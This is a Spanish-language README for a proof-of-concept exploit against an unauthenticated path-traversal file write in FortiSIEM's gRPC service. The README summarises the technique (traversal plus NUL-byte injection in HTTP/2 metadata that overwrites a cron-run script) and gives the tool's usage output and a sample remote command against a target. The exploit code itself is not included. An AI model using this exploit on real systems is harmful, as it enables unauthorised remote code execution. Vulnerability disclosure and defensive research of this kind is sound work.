
Prueba de concepto en Python para CVE-2026-106173, una escritura de archivos mediante path traversal no autenticado en gRPC en Fortinet FortiSIEM que permite la ejecución remota de comandos a ciegas.
Este repositorio contiene una prueba de concepto para CVE-2026-106173, una vulnerabilidad de ejecución remota de código no autenticada en Fortinet FortiSIEM.
El controlador QueryResultReq de gRPC de FortiSIEM procesa metadatos no confiables sin una validación de rutas adecuada. Al crear metadatos que contienen tanto secuencias de path traversal (../) como inyección de bytes NUL dentro de las capas de codificación HTTP/2 y HPACK de gRPC, un atacante puede escribir archivos arbitrarios en el sistema de archivos.
El análisis técnico que cubre la causa raíz, los detalles de explotación y los indicadores de compromiso está disponible en el blog de investigación de ataques de Horizon3.ai:
% python3 CVE-2026-106173.py -h
usage: CVE-2026-106173.py [-h] -t TARGET [-c COMMAND] [-p PORT] [--plaintext]
[--dry-run]
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
IP or hostname of the FortiSIEM instance
-c COMMAND, --command COMMAND
Command to execute on the target
-p PORT, --port PORT FortiSIEM gRPC port (default: 27918)
--plaintext Use HTTP/2 without TLS
--dry-run Display the request without sending
Ejecutar un comando arbitrario:
python3 CVE-2026-106173.py -t 10.0.18.x -c 'id'
NOTA: La ejecución es ciega y tarda hasta 60 segundos en que el cron job se active para ejecutar el script que sobrescribimos.
Este software ha sido creado puramente con fines de investigación académica y para el desarrollo de técnicas defensivas eficaces, y no está destinado a ser utilizado para atacar sistemas excepto cuando esté explícitamente autorizado." Los mantenedores del proyecto no asumen ninguna responsabilidad por el uso indebido. Úsalo de forma responsable.